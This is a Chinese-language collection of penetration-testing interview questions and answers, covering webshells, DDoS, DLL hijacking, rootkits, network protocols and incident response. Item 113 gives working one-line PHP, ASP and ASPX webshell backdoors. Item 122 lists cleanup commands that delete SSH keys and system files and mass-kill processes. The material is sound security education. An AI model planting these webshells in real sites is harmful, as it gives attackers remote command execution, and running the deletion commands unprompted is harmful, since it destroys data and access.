滲透測試工程師面試題大全(三)

滲透測試工程師面試題大全(三)
from:backlion大佬 整理

101.什麼是 WebShell?

WebShell 就是以 asp、php、jsp 或者 cgi 等網頁文件形式存在的─種命令執行環境,也可以將其稱做爲─種網頁後門。黑客在入侵了─個網站後,通常會將這些 asp 或 php 後門文件與網站服務器 WEB 目錄下正常的網頁文件混在─起,然後就可以使用瀏覽器來訪問這些 asp 或者 php 後門,得到─個命令執行環境,以達到控制網站服務器的目的(可以上傳下載文件,查看數據庫,執行任意程序命令等)。國內常用的 WebShell 有海陽 ASP 木馬,Phpspy,c99shell 等。
(靜態網頁:最常用的格式文件就是 html 格式文件,大部分網頁的格式都是 html格式,html 格式又包含有.htm、dhtml.xhtml.shtm.shtml。這些都是指靜態頁面,裏面不含有動態程序。
動態網頁頁面級包括有 ASP(基於 JavaScript 或 VbScript 或 C#)、JSP、PHP、ASPX、jspx、cgi。這些裏面是包含服務器端執行的代碼,也就是服務器在將這些網頁發給客戶端之前,會先執行裏面的動態程序語言,並把執行後生成的 html發送到客戶端來的,所以我們在客戶端看到的源代碼也是 html 格式的(因爲動態的代碼直接在服務器上執行,而這些服務器代碼是前臺是不會顯示出來。)

102.什麼是網絡釣魚?

網絡釣魚是通過大量發送聲稱來自於銀行或其他知名機構的欺騙性垃圾郵件,意

圖引誘收信人給出敏感信息(如用戶名、口令、帳號 ID 、 ATM PIN 碼或信用卡詳細信息)的一種攻擊方式。

最典型的網絡釣魚攻擊將收信人引誘到一個通過精心設計與目標組織的網站非常相似的釣魚網站上,並獲取收信人在此網站上輸入的個人敏感信息,通常這個攻擊過程不會讓受害者警覺。

它常常導引用戶到 URL 與接口外觀與真正網站幾無二致的假冒網站輸入個人數據。就算使用強式加密的 SSL 服務器認證,要偵測網站是否仿冒實際上仍很困難。網釣是一種利用社會工程技術來愚弄用戶的實例。它憑恃的是現行網絡安全技術的低親和度。

103.你獲取網絡安全知識途徑有哪些?

1.網站,看雪,安全焦點,國內的烏雲,FreeBuf

2.視頻學習:i 春秋,51cto,慕課網,實驗樓,實驗吧,網易雲課堂等等

3.微信公衆號、知乎等,企業 src 等

4.書籍,《白帽子講 web 安全》《Web 應用安全權威指南》等

5.然後就是請教牛人

6.最後是公司內技術分享。

104.什麼是 CC 攻擊?

這個也是知道一些,知道他是 DDos 的變種,正常請求僞造,服務器資源耗盡,最終還是看看百科答案吧:CC 攻擊是 DDOS(分佈式拒絕服務)的一種,相比其它的 DDOS 攻擊 CC 似乎更有技術含量一些。這種攻擊你見不到真實源 IP,見不到特別大的異常流量,但造成服務器無法進行正常連接。CC 攻擊的原理就是攻擊者控制某些主機不停地發大量數據包給對方服務器造成服務器資源耗盡,一直到宕機崩潰。CC 主要是用來攻擊頁面的,每個人都有這樣的體驗:當一個網頁訪問的人數特別多的時候,打開網頁就慢了,CC 就是模擬多個用戶(多少線程就是多少用戶)不停地進行訪問那些需要大量數據操作(就是需要大量 CPU時間)的頁面,造成服務器資源的浪費,CPU 長時間處於 100%,永遠都有處理不完的連接直至就網絡擁塞,正常的訪問被中止。

105.Web 服務器被入侵後,怎樣進行排查?

最簡單就是 1.查看下 web 服務器日主,2.看看有沒有異常端口開放,3.使用安全狗等服務器安全軟件清掃。

106.dll 文件是什麼意思,有什麼用?

DLL(Dynamic Link Library)文件,即動態鏈接庫,也有人稱作應用程序拓展。

Windows 應用程序中,實行了模塊化設計,也就是說並不是每個應用程序都編寫完所有的功能代碼,而是在運行過程中調用相應功能的 DLL,不需運行的功能就不調用,所以大大加快了程序的加載速度和效率,其他應用程序也可以調用相關的 DLL,這樣也有利於促進代碼重用以及內存使用效率,減少了資源佔用,而且程序更新時也只要更新相關的 DLL 就可以了。
要注意的是,有些病毒也會僞裝成 DLL 文件,並替換系統的 DLL 文件,需要我們防範。

(1)DLL 劫持原理

由於輸入表中只包含 DLL 名而沒有它的路徑名,因此加載程序必須在磁盤上搜索 DLL 文件。首先會嘗試從當前程序所在的目錄加載 DLL,如果沒找到,則在

Windows 系統目錄中查找,最後是在環境變量中列出的各個目錄下查找。利用

這個特點,先僞造一個系統同名的 DLL,提供同樣的輸出表,每個輸出函數轉向真正的系統 DLL。程序調用系統 DLL 時會先調用當前目錄下僞造的 DLL,完成相關功能後,再跳到系統 DLL 同名函數裏執行。這個過程用個形象的詞來描述就是系統 DLL 被劫持(hijack)了。

僞造的 dll 製作好後,放到程序當前目錄下,這樣當原程序調用原函數時就調用了僞造的 dll 的同名函數,進入劫持 DLL 的代碼,處理完畢後,再調用原 DLL

此函數。

(2)如何防止 DLL 劫持

DLL 劫持利用系統未知 DLL 的搜索路徑方式,使得程序加載當前目錄下的系統

同名 DLL。所以可以告訴系統 DLL 的位置,改變加載系統 DLL 的順序不是當前

目錄,而是直接到系統目錄下查找。

107.什麼叫 0day 漏洞?

是已經發現但是官方還沒發佈補丁的漏洞。

信息安全意義上的 0Day 是指在安全補丁發佈前而被瞭解和掌握的漏洞信息。

108.Rootkit 是什麼意思?

Rootkit 是一種特殊類型的 malware(惡意軟件)。Rootkit 之所以特殊是因爲您不知道它們在做什麼事情。Rootkit 基本上是無法檢測到的,而且幾乎不可能刪除它們。雖然檢測工具在不斷增多,但是惡意軟件的開發者也在不斷尋找新的途徑來掩蓋他們的蹤跡。

Rootkit 的目的在於隱藏自己以及其他軟件不被發現。它可以通過阻止用戶識別和刪除攻擊者的軟件來達到這個目的。Rootkit 幾乎可以隱藏任何軟件,包括文件服務器、鍵盤記錄器、Botnet 和 Remailer。許多 Rootkit 甚至可以隱藏大型的文件集合並允許攻擊者在您的計算機上保存許多文件,而您無法看到這些文件。

Rootkit 本身不會像病毒或蠕蟲那樣影響計算機的運行。攻擊者可以找出目標系統上的現有漏洞。漏洞可能包括:開放的網絡端口、未打補丁的系統或者具有脆弱的管理員密碼的系統。在獲得存在漏洞的系統的訪問權限之後,攻擊者便可手動安裝一個 Rootkit。這種類型的偷偷摸摸的攻擊通常不會觸發自動執行的網絡安全控制功能,例如入侵檢測系統。

找出 Rootkit 十分困難。有一些軟件包可以檢測 Rootkit。這些軟件包可劃分爲以下兩類:基於簽名的檢查程序和基於行爲的檢查程序。基於簽名(特徵碼)的檢查程序,例如大多數病毒掃描程序,會檢查二進制文件是否爲已知的 Rootkit。基於行爲的檢查程序試圖通過查找一些代表 Rootkit 主要行爲的隱藏元素來找出 Rootkit。一個流行的基於行爲的 Rootkit 檢查程序是 Rootkit Revealer.
在發現系統中存在 Rootkit 之後,能夠採取的補救措施也較爲有限。由於
Rootkit 可以將自身隱藏起來,所以您可能無法知道它們已經在系統中存在了多長的時間。而且您也不知道 Rootkit 已經對哪些信息造成了損害。對於找出的Rootkit,最好的應對方法便是擦除並重新安裝系統。雖然這種手段很嚴厲,但是這是得到證明的唯一可以徹底刪除 Rootkit 的方法。
防止 Rootkit 進入您的系統是能夠使用的最佳辦法。爲了實現這個目的,可以使用與防範所有攻擊計算機的惡意軟件一樣的深入防衛策略。深度防衛的要素包括:病毒掃描程序、定期更新軟件、在主機和網絡上安裝防火牆,以及強密碼策略

109.蜜罐是什麼?

蜜罐好比是情報收集系統。蜜罐好像是故意讓人攻擊的目標,引誘黑客前來攻擊。所以攻擊者入侵後,你就可以知道他是如何得逞的,隨時瞭解針對服務器發動的最新的攻擊和漏洞。還可以通過竊聽黑客之間的聯繫,收集黑客所用的種種工具,並且掌握他們的社交網絡。

110.ssh 的相關原理?

SSH 爲 Secure Shell 的縮寫,由 IETF 的網絡小組(Network Working Group)所制定;SSH 爲建立在應用層基礎上的安全協議。SSH 是目前較可靠,專爲遠程登錄會話和其他網絡服務提供安全性的協議。利用 SSH 協議可以有效防止遠程管理過程中的信息泄露問題。SSH 最初是 UNIX 系統上的一個程序,後來又迅速擴展到其他操作平臺。SSH 在正確使用時可彌補網絡中的漏洞。SSH客戶端適用於多種平臺。幾乎所有 UNIX 平臺—包括 HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平臺,都可運行 SSH。

傳統的網絡服務程序,如:ftp、pop 和 telnet 在本質上都是不安全的,因爲它們在網絡上用明文傳送口令和數據,別有用心的人非常容易就可以截獲這些口令和數據。而且,這些服務程序的安全驗證方式也是有其弱點的, 就是很容易受到“中間人”(man-in-the-middle)這種方式的攻擊。所謂“中間人”的攻擊方式, 就是“中間人”冒充真正的服務器接收你傳給服務器的數據,然後再冒充你把數據傳給真正的服務器。服務器和你之間的數據傳送被“中間人”一轉手做了手腳之後,就會出現很嚴重的問題。通過使用 SSH,你可以把所有傳輸的數據進行加密,這樣"中間人"這種攻擊方式就不可能實現了,而且也能夠防止DNS 欺騙和 IP 欺騙。使用 SSH,還有一個額外的好處就是傳輸的數據是經過壓縮的,所以可以加快傳輸的速度。SSH 有很多功能,它既可以代替 Telnet,又可以爲 FTP、PoP、甚至爲 PPP 提供一個安全的"通道"。

英文全稱是 Secure Shell。通過使用 SSH,你可以把所有傳輸的數據進行加密,這樣"中間人"這種攻擊方式就不可能實現了,而且也能夠防止 DNS 和 IP 欺騙。還有一個 額外的好處就是傳輸的數據是經過壓縮的,所以可以加快傳輸的速度。SSH 有很多功能,它既可以代替 telnet,又可以爲 ftp、pop、甚至 ppp 提 供一個安全的"通道"。

SSH 是由客戶端和服務端的軟件組成的,有兩個不兼容的版本分別是:1.x 和 2.x。
用 SSH 2.x 的客戶程序是不能連接到 SSH 1.x 的服務程序上去的。OpenSSH 2.x同時支持 SSH 1.x 和 2.x。SSH 的安全驗證是如何工作的從客戶端來看,SSH 提供兩種級別的安全驗證。第一種級別(基於口令的安全驗證)只要你知道自己帳號和口令,就可以登錄到遠程主機。所有傳輸的數據都會被加密,但是不能保證你正在連接的服務器就是你想連接的服務器。可能會有別的服務器在冒充真正的服務器,也就是受到“中間人”這種方式的攻擊。第二種級別(基於密匙的安全驗證)需要依靠密匙,也就是你必須爲自己創建一對密匙,並把公用密匙放在需要訪問的服務器上。如果你要連接到 SSH 服務器上,客戶端軟件就會向服務器發出請求,請求用你的密匙進行安全驗證。服務器收到請求之後,先在你在該服務器的家目錄下尋找你的公用密匙,然後把它和你發送過來的公用密匙進行比較。如果兩個密匙一致,服務器就用公用密匙加密“質詢”(challenge)並把它發送給客戶端軟件。客戶端軟件收到“質詢”之後就可以用你的私人密匙解密再把它發送給服務器。用這種方式,你必須知道自己密匙的口令。但是,與第一種級別相比,第二種級別不需要在網絡上傳送口令。第二種級別不僅加密所有傳送的數據,而且“中間人”這種攻擊方式也是不可能的(因爲他沒有你的私人密匙)。但是整個登錄的過程可能需要 10 秒。

SSL(Secure Sockets Layer (SSL) and Transport Layer Security (TLS))被設計爲加強 Web 安全傳輸(HTTP/HTTPS/)的協議(事實上還有 SMTP/NNTP
等),SSH(Secure Shell)更多的則被設計爲加強 Telnet/FTP 安全的傳輸協議,默認地,它使用 22 端口.以 SSL 爲例,基本上 SSL 在傳輸過程中所處的位置如下:

---------

| HTTP |

---------

| SSL |

---------

| TCP |

---------

| IP |

---------

如果利用 SSL 協議來訪問網頁,其步驟如下:

用戶:在瀏覽器的地址欄裏輸入 https://www.sslserver.com

HTTP 層:將用戶需求翻譯成 HTTP 請求,如

GET /index.htm HTTP/1.1

Host http://www.sslserver.com

SSL 層: 藉助下層協議的的信道安全的協商出一份加密密鑰,並用此密鑰來加密HTTP 請求。

TCP 層:與 web server 的 443 端口建立連接,傳遞 SSL 處理後的數據。
接收端與此過程相反。

SSL 在 TCP 之上建立了一個加密通道,通過這一層的數據經過了加密因,此達到保密的效果。

SSL 協議分爲兩部分:Handshake Protocol 和 Record Protocol,。其中
Handshake Protocol 用來協商密鑰,協議的大部分內容就是通信雙方如何利用它來安全的協商出一份密鑰。 Record Protocol 則定義了傳輸的格式。

111.DDOS 的定義?

http://baike.baidu.com/link?url=hOeNhuaIj6tF9NY1wr2wbe9pIe52PaCJ5
KXTisdfPUK4j8beTktmVsRaH5hRjkcpq6FPouzRl2hbsbpEDO5HRAUYi_D1Tsnu_q7in59xRasqHbmi1oYhEyVDVVn9ZcIcqRsZi5axo_HgkXBPioJx_#10

分佈式拒絕服務(DDoS:Distributed Denial of Service)攻擊指藉助於客戶/服務器技術,將多個計算機聯合起來作爲攻擊平臺,對一個或多個目標發動 DDoS攻擊,從而成倍地提高拒絕服務攻擊的威力。通常,攻擊者使用一個偷竊帳號將DDoS 主控程序安裝在一個計算機上,在一個設定的時間主控程序將與大量代理程序通訊,代理程序已經被安裝在網絡上的許多計算機上。代理程序收到指令時就發動攻擊。利用客戶/服務器技術,主控程序能在幾秒鐘內激活成百上千次代理程序的運行。

112.震網病毒的定義?

指一種蠕蟲病毒,是第一個專門定向攻擊真實世界中基礎(能源)設施的“蠕蟲”病毒,比如核電站,水壩,國家電網。只要電腦操作員將被病毒感染的 U 盤插入 USB 接口,這種病毒就會在神不知鬼不覺的情況下(不會有任何其他操作要求或者提示出現)取得一些工業用電腦系統的控制權。

與傳統的電腦病毒相比,“震網”病毒不會通過竊取個人隱私信息牟利。無需藉助網絡連接進行傳播。這種病毒可以破壞世界各國的化工、發電和電力傳輸企業所使用的核心生產控制電腦軟件,並且代替其對工廠其他電腦“發號施令”。極具毒性和破壞力。“震網”代碼非常精密,主要有兩個功能,一是使伊朗的離心機運行失控,二是掩蓋發生故障的情況,“謊報軍情”,以“正常運轉”記錄回傳給管理部門,造成決策的誤判。

113.常用的一句話木馬?

asp 一句話木馬:

<%execute(request(“value”))%>

php 一句話木馬:

<?php @eval($_POST[value]);?>

變形:<?php $x=$_GET[‘z’];@eval(“$x;”);?>

aspx 一句話木馬:

<%@ Page Language=“Jscript”%>

<%eval(Request.Item[“value”])%>

114.Https 的作用?

內容加密 建立一個信息安全通道,來保證數據傳輸的安全;

身份認證 確認網站的真實性、數據完整性 防止內容被第三方冒充或者篡改

HTTPS 和 HTTP 的區別

https 協議需要到 CA 申請證書。

http 是超文本傳輸協議,信息是明文傳輸;https 則是具有安全性的 ssl 加密傳輸協議。

http 和 https 使用的是完全不同的連接方式,用的端口也不一樣,前者是 80,後者是 443。http 的連接很簡單,是無狀態的;HTTPS 協議是由 SSL+HTTP 協議構建的可進行加密傳輸、身份認證的網絡協議,比 http 協議安全。

115.手工查找後門木馬的小技巧?

1、首先最需要注意的地方是系統的啓動項,可以在“運行”-輸入“msconfig

命令”在打開的系統配置實用程序裏的啓動列表查看,並且服務也要注意一下,如果對電腦不是太熟悉的童鞋建議使用 360 安全衛士的開機加速功能,來查看有無異常的可以啓動項和服務項,因爲在後門木馬中 99%都會註冊自己爲系統服務,達到開機自啓動的目的,如果發現可疑項直接打開相應的路徑,找到程序文件,直接刪除並且禁止自啓動;

2、查看系統關鍵目錄 system32 和系統安裝目錄 Windows 下的文件,xp 系統下兩者默認路徑分別是 C:\WINDOWS\system32 和 C:\WINDOWS\。然後最新修改的文件中有沒有可疑的可執行文件或 dll 文件,這兩個地方都是木馬最喜歡的藏身的地方了(小提示:一定要設置顯示所有的文件的文件夾哦)。

3、觀察網絡連接是否存在異常,還有“運行”-“cmd”-“netstat -an”查看

有沒有可疑或非正常程序的網絡連接,如果對電腦不是很熟悉建議大家使用 360的流量監控功能更加直觀和方便,尤其注意一下遠程連接的端口,如果有類似於8000 等端口就要注意了,8000 是灰鴿子的默認端口,記得有一次自己就在後門木馬測試中在網絡連接中發現 8000 端口,當然意思不是說只要沒有 8000 端口的網絡連接就一定安全,因爲 8000 端口只是灰鴿子上線的默認端口,並且端口是可以更改的。

通過以上方法,可以查找到電腦的一些可疑文件,如果確認無疑,就可以手工進行刪除了。當然還可以藉助殺毒軟件的力量。如果你真的中了木馬後門,不用慌。最好最徹底的方法是重裝系統後,在安全模式下,利用最新病毒庫的殺軟進行查殺。

116.描述 OSI(開放系統互聯基本參考模型)七層結構?

分層的好處是利用層次結構可以把開放系統的信息交換問題分解到一系列容易控制的軟硬件模塊-層中,而各層可以根據需要獨立進行修改或擴充功能,同時,有利於個不同製造廠家的設備互連,也有利於大家學習、理解數據通訊網絡。
OSI 參考模型中不同層完成不同的功能,各層相互配合通過標準的接口進行通信。

第 7 層應用層:OSI 中的最高層。爲特定類型的網絡應用提供了訪問 OSI 環境的手段。應用層確定進程之間通信的性質,以滿足用戶的需要。應用層不僅要提供應用進程所需要的信息交換和遠程操作,而且還要作爲應用進程的用戶代理,來完成一些爲進行信息交換所必需的功能。它包括:文件傳送訪問和管理 FTAM、虛擬終端 VT、事務處理 TP、遠程數據庫訪問 RDA、製造報文規範 MMS、目錄服務 DS 等協議;應用層能與應用程序界面溝通,以達到展示給用戶的目的。 在此常見的協議有:HTTP,HTTPS,FTP,TELNET,SSH,SMTP,POP3 等。

第 6 層表示層:主要用於處理兩個通信系統中交換信息的表示方式。爲上層用戶解決用戶信息的語法問題。它包括數據格式交換、數據加密與解密、數據壓縮與終端類型的轉換。

第 5 層會話層:在兩個節點之間建立端連接。爲端系統的應用程序之間提供了對話控制機制。此服務包括建立連接是以全雙工還是以半雙工的方式進行設置,儘管可以在層 4 中處理雙工方式 ;會話層管理登入和註銷過程。它具體管理兩個用戶和進程之間的對話。如果在某一時刻只允許一個用戶執行一項特定的操作,會話層協議就會管理這些操作,如阻止兩個用戶同時更新數據庫中的同一組數據。

第 4 層傳輸層:—常規數據遞送-面向連接或無連接。爲會話層用戶提供一個端到端的可靠、透明和優化的數據傳輸服務機制。包括全雙工或半雙工、流控制和錯誤恢復服務;傳輸層把消息分成若干個分組,並在接收端對它們進行重組。不同的分組可以通過不同的連接傳送到主機。這樣既能獲得較高的帶寬,又不影響會話層。在建立連接時傳輸層可以請求服務質量,該服務質量指定可接受的誤碼率、延遲量、安全性等參數,還可以實現基於端到端的流量控制功能。

第 3 層網絡層:本層通過尋址來建立兩個節點之間的連接,爲源端的運輸層送來的分組,選擇合適的路由和交換節點,正確無誤地按照地址傳送給目的端的運輸層。它包括通過互連網絡來路由和中繼數據 ;除了選擇路由之外,網絡層還負責建立和維護連接,控制網絡上的擁塞以及在必要的時候生成計費信息。

第 2 層數據鏈路層:在此層將數據分幀,並處理流控制。屏蔽物理層,爲網絡層提供一個數據鏈路的連接,在一條有可能出差錯的物理連接上,進行幾乎無差錯的數據傳輸(差錯控制)。本層指定拓撲結構並提供硬件尋址。常用設備有網卡、網橋、交換機;

第 1 層物理層:處於 OSI 參考模型的最底層。物理層的主要功能是利用物理傳輸介質爲數據鏈路層提供物理連接,以便透明的傳送比特流。常用設備有(各種物理設備)集線器、中繼器、調制解調器、網線、雙絞線、同軸電纜。

數據發送時,從第七層傳到第一層,接收數據則相反。上三層總稱應用層,用來控制軟件方面。下四層總稱數據流層,用來管理硬件。除了物理層之外其他層都是用軟件實現的。

數據在發至數據流層的時候將被拆分。

在傳輸層的數據叫段,網絡層叫包,數據鏈路層叫幀,物理層叫比特流,這樣的叫法叫 PDU(協議數據單元)[2]

各層功能

(1)物理層(Physical Layer)

物理層是 OSI 參考模型的最低層,它利用傳輸介質爲數據鏈路層提供物理連接。
它主要關心的是通過物理鏈路從一個節點向另一個節點傳送比特流,物理鏈路可能是銅線、衛星、微波或其他的通訊媒介。它關心的問題有:多少伏電壓代表 1?多少伏電壓代表 0?時鐘速率是多少?採用全雙工還是半雙工傳輸?總的來說物理層關心的是鏈路的機械、電氣、功能和規程特性。

(2)數據鏈路層(Data Link Layer)

數據鏈路層是爲網絡層提供服務的,解決兩個相鄰結點之間的通信問題,傳送的協議數據單元稱爲數據幀。
數據幀中包含物理地址(又稱 MAC 地址)、控制碼、數據及校驗碼等信息。該層的主要作用是通過校驗、確認和反饋重發等手段,將不可靠的物理鏈路轉換成對網絡層來說無差錯的數據鏈路。此外,數據鏈路層還要協調收發雙方的數據傳輸速率,即進行流量控制,以防止接收方因來不及處理髮送方來的高速數據而導致緩衝器溢出及線路阻塞。

(3)網絡層(Network Layer)

網絡層是爲傳輸層提供服務的,傳送的協議數據單元稱爲數據包或分組。該層的主要作用是解決如何使數據包通過各結點傳送的問題,即通過路徑選擇算法(路由)將數據包送到目的地。另外,爲避免通信子網中出現過多的數據包而造成網絡阻塞,需要對流入的數據包數量進行控制(擁塞控制)。當數據包要跨越多個通信子網才能到達目的地時,還要解決網際互連的問題。

(4)傳輸層(Transport Layer)

傳輸層的作用是爲上層協議提供端到端的可靠和透明的數據傳輸服務,包括處理差錯控制和流量控制等問題。該層向高層屏蔽了下層數據通信的細節,使高層用戶看到的只是在兩個傳輸實體間的一條主機到主機的、可由用戶控制和設定的、可靠的數據通路。
傳輸層傳送的協議數據單元稱爲段或報文。

(5)會話層(Session Layer)

會話層主要功能是管理和協調不同主機上各種進程之間的通信(對話),即負責建立、管理和終止應用程序之間的會話。會話層得名的原因是它很類似於兩個實體間的會話概念。例如,一個交互的用戶會話以登錄到計算機開始,以註銷結束。

(6)表示層(Presentation Layer)

表示層處理流經結點的數據編碼的表示方式問題,以保證一個系統應用層發出的信息可被另一系統的應用層讀出。如果必要,該層可提供一種標準表示形式,用於將計算機內部的多種數據表示格式轉換成網絡通信中採用的標準表示形式。數據壓縮和加密也是表示層可提供的轉換功能之一。

(7)應用層(Application Layer)

應用層是 OSI 參考模型的最高層,是用戶與網絡的接口。該層通過應用程序來完成網絡用戶的應用需求,如文件傳輸、收發電子郵件等。

117.TCP 和 UDP 的區別?

TCP 協議和 UDP 協議特性區別總結:

  1. TCP 協議在傳送數據段的時候要給段標號;UDP 協議不

  2. TCP 協議可靠;UDP 協議不可靠

  3. TCP 協議是面向連接;UDP 協議採用無連接

  4. TCP 協議負載較高,採用虛電路;UDP 採用無連接

  5. TCP 協議的發送方要確認接收方是否收到數據段(3 次握手協議)

  6. TCP 協議採用窗口技術和流控制

當數據傳輸的性能必須讓位於數據傳輸的完整性、可控制性和可靠性時,TCP協議是當然的選擇。當強調傳輸性能而不是傳輸的完整性時,如:音頻和多媒體應用,UDP 是最好的選擇。在數據傳輸時間很短,以至於此前的連接過程成爲整個流量主體的情況下,UDP 也是一個好的選擇,如:DNS 交換。把 SNMP建立在 UDP 上的部分原因是設計者認爲當發生網絡阻塞時,UDP 較低的開銷使其有更好的機會去傳送管理數據。TCP 豐富的功能有時會導致不可預料的性能低下,但是我們相信在不遠的將來,TCP 可靠的點對點連接將會用於絕大多數的網絡應用。

118.什麼叫脫殼?

而從技術的角度出發,殼是一段執行於原始程序前的代碼。原始程序的代碼在加殼的過程中可能被壓縮、加密……。當加殼後的文件執行時,殼-這段代碼先於原始程序運行,他把壓縮、加密後的代碼還原成原始程序代碼,然後再把執行權交還給原始代碼。 軟件的殼分爲加密殼、壓縮殼、僞裝殼、多層殼等類,目的都是爲了隱藏程序真正的 OEP(入口點,防止被破解)。

加殼”指的是對編譯好的 EXE、DLL 等文件採用加殼來進行保護;“脫殼”指的就是將文件外邊的殼去除,恢復文件沒有加殼前的狀態。 殼出於程序作者想對程序資源壓縮、註冊保護的目的,把殼分爲壓縮殼、密碼殼、加密殼三種。顧名思義,壓縮殼只是爲了減小程序體積對資源進行壓縮,常見的壓縮殼包括 FSG、ASPack、UPX、北斗等;加密殼也就是常說的保護殼、猛殼,它對程序輸入表等內容進行加密保護,具有良好的保護效果,常見的加密殼包括 ASPROTECT、ACPROTECT、PELock、幻影等;密碼殼平時使用得不多,加密殼的程序只有在正確輸入密碼後才能運行

119.什麼叫“人肉搜索”?

是一種類比的稱呼,主要是用來區別傳統搜索引擎。它主要是指通過集中許多網民的力量去搜索信息和資源的一種方式,它包括利用互聯網的機器搜索引擎(如百度等)及利用各網民在日常生活中所能掌握的信息來進行收集信息的一種方式。

120.SYN Flood 的基本原理?

SYN Flood 是當前最流行的 DoS(拒絕服務攻擊)與 DDoS(分佈式拒絕服務攻擊)的方式之一,這是一種利用 TCP 協議缺陷,發送大量僞造的 TCP 連接請求,從而使得被攻擊方資源耗盡(CPU 滿負荷或內存不足)的攻擊方式。要明白這種攻擊的基本原理,還是要從 TCP 連接建立的過程開始說起:

大家都知道,TCP 與 UDP 不同,它是基於連接的,也就是說:爲了在服務端和客戶端之間傳送 TCP 數據,必須先建立一個虛擬電路,也就是 TCP 連接,建立 TCP 連接的標準過程是這樣的:

首先,請求端(客戶端)發送一個包含 SYN 標誌的 TCP 報文,SYN 即同步(Synchronize),同步報文會指明客戶端使用的端口以及 TCP 連接的初始序號;

第二步,服務器在收到客戶端的 SYN 報文後,將返回一個 SYN+ACK 的報文,表示客戶端的請求被接受,同時 TCP 序號被加一,ACK 即確認(Acknowledgement)。

第三步,客戶端也返回一個確認報文 ACK 給服務器端,同樣 TCP 序列號被加一,到此一個 TCP 連接完成。

以上的連接過程在 TCP 協議中被稱爲三次握手(Three-way Handshake)。問題就出在 TCP 連接的三次握手中,假設一個用戶向服務器發送了 SYN 報文後突然死機或掉線,那麼服務器在發出 SYN+ACK 應答報文後是無法收到客戶端的 ACK 報文的(第三次握手無法完成),這種情況下服務器端一般會重試(再次發送 SYN+ACK 給客戶端)並等待一段時間後丟棄這個未完成的連接,這段時間的長度我們稱爲 SYN Timeout,一般來說這個時間是分鐘的數量級(大約爲 30 秒-2 分鐘);一個用戶出現異常導致服務器的一個線程等待 1 分鐘並不是什麼很大的問題,但如果有一個惡意的攻擊者大量模擬這種情況,服務器端將爲了維護一個非常大的半連接列表而消耗非常多的資源----數以萬計的半連接,即使是簡單的保存並遍歷也會消耗非常多的 CPU 時間和內存,何況還要不斷對這個列表中的 IP 進行 SYN+ACK 的重試。實際上如果服務器的 TCP/IP 棧不夠強大,最後的結果往往是堆棧溢出崩潰—即使服務器端的系統足夠強大,服務器端也將忙於處理攻擊者僞造的 TCP 連接請求而無暇理睬客戶的正常請求(畢竟客戶端的正常請求比率非常之小),此時從正常客戶的角度看來,服務器失去響應,這種情況我們稱作:服務器端受到了 SYN Flood 攻擊(SYN 洪水攻擊)。

從防禦角度來說,有幾種簡單的解決方法,第一種是縮短 SYN Timeout 時間,由於 SYN Flood 攻擊的效果取決於服務器上保持的 SYN 半連接數,這個值=SYN 攻擊的頻度 x SYN Timeout,所以通過縮短從接收到 SYN 報文到確定這個報文無效並丟棄改連接的時間,例如設置爲 20 秒以下(過低的 SYN Timeout設置可能會影響客戶的正常訪問),可以成倍的降低服務器的負荷。

第二種方法是設置 SYN Cookie,就是給每一個請求連接的 IP 地址分配一個Cookie,如果短時間內連續受到某個 IP 的重複 SYN 報文,就認定是受到了攻擊,以後從這個 IP 地址來的包會被一概丟棄。

可是上述的兩種方法只能對付比較原始的 SYN Flood 攻擊,縮短 SYN Timeout時間僅在對方攻擊頻度不高的情況下生效,SYN Cookie 更依賴於對方使用真實的 IP 地址,如果攻擊者以數萬/秒的速度發送 SYN 報文,同時利用 SOCK_RAW隨機改寫 IP 報文中的源地址,以上的方法將毫無用武之地。

121.什麼是手機”越獄“?

所謂 iOS 系統的越獄就是取得系統最高權限的行爲,越獄前後 iOS 系統本身並不會發生質的改變,只是越獄後可以對 iOS 系統進行更充分的利用而已。

越獄的好處:

1、越獄之後操作性更強,取得了手機的最高權限,就可以修改手機內容,包括

安裝免費的破解軟件、自定義功能、美化等等。
2、越獄後可以繞過 AppStore 免費下載 APP。

越獄的壞處:

1、越獄後失去保修。
2、越獄之後,後臺程序運行,桌面主題等都會加大耗電。
3、越獄就是打破 iOS 系統封閉,所以手機就相對變得不安全了。

122.主機被入侵,你會如何處理這件事自查解決方案?

1、病毒木馬排查。

1.1、使用 netstat 查看網絡連接,分析是否有可疑發送行爲,如有則停止。(linux

常見木馬,清理命令
chattr -i /usr/bin/.sshd;
rm -f /usr/bin/.sshd;
chattr -i /usr/bin/.swhd;
rm -f /usr/bin/.swhd;
rm -f -r /usr/bin/bsd-port;
cp /usr/bin/dpkgd/ps /bin/ps;
cp /usr/bin/dpkgd/netstat /bin/netstat;
cp /usr/bin/dpkgd/lsof /usr/sbin/lsof;
cp /usr/bin/dpkgd/ss /usr/sbin/ss;
rm -r -f /root/.ssh;
rm -r -f /usr/bin/bsd-port;
find /proc/ -name exe | xargs ls -l | grep -v task |grep deleted| awk ‘{print $11}’ | awk -F/ ‘{print $NF}’ | xargs killall -9;)

1.2、使用殺毒軟件進行病毒查殺。

2、服務器漏洞排查並修復

2.1、查看服務器賬號是否有異常,如有則停止刪除掉。

2.2、查看服務器是否有異地登錄情況,如有則修改密碼爲強密碼(字每+數字+特殊符號)大小寫,10 位及以上。

2.3、查看 Jenkins、Tomcat、PhpMyadmin、WDCP、Weblogic 後臺密碼,提高密碼強度(字每+數字+特殊符號)大小寫,10 位及以上。

2.4、查看 WEB 應用是否有漏洞,如 struts, ElasticSearch 等,如有則請升級。

2.5、查看 MySQL、SQLServer、FTP、WEB 管理後臺等其它有設置密碼的地

方,提高密碼強度(字每+數字+特殊符號)大小寫,10 位及以上。

2.6、查看 Redis 無密碼可遠程寫入文件漏洞,檢查/root/.ssh/下黑客創建的 SSH

登錄密鑰文件,刪除掉,修改 Redis 爲有密碼訪問並使用強密碼,不需要公網訪

問最好 bind 127.0.0.1 本地訪問。

2.7、如果有安裝第三方軟件,請按官網指引進行修復。

3、開啓雲盾服務,並開啓所有云盾安全防護功能對您的主機進行安全防護,免

於再次遭到惡意攻擊。
實施安全防禦方案

請您儘快開啓雲盾服務,開啓步驟詳見:

http://help.aliyun.com/view/11108300_13730770.html

同時也建議您開啓雲盾應用防火牆功能,開啓步驟詳見:

4、如果問題仍未解決

經過以上處理還不能解決問題,強烈建議您將系統盤和數據盤的數據完全下載備份到本地保存後,重置全盤(登陸 www.aliyun.com, 進入我的阿里雲-》管理控制檯-》雲服務器 ECS 控制檯-》點擊進行您需要進行初始化的實例,備份完服務器數據後關閉實例,點擊“重置磁盤”,按您的實際情況選擇系統盤和數據盤重置即可)後,重新部署程序應用並對數據進行殺毒後上傳,並重新進行前述的 3 步處理。

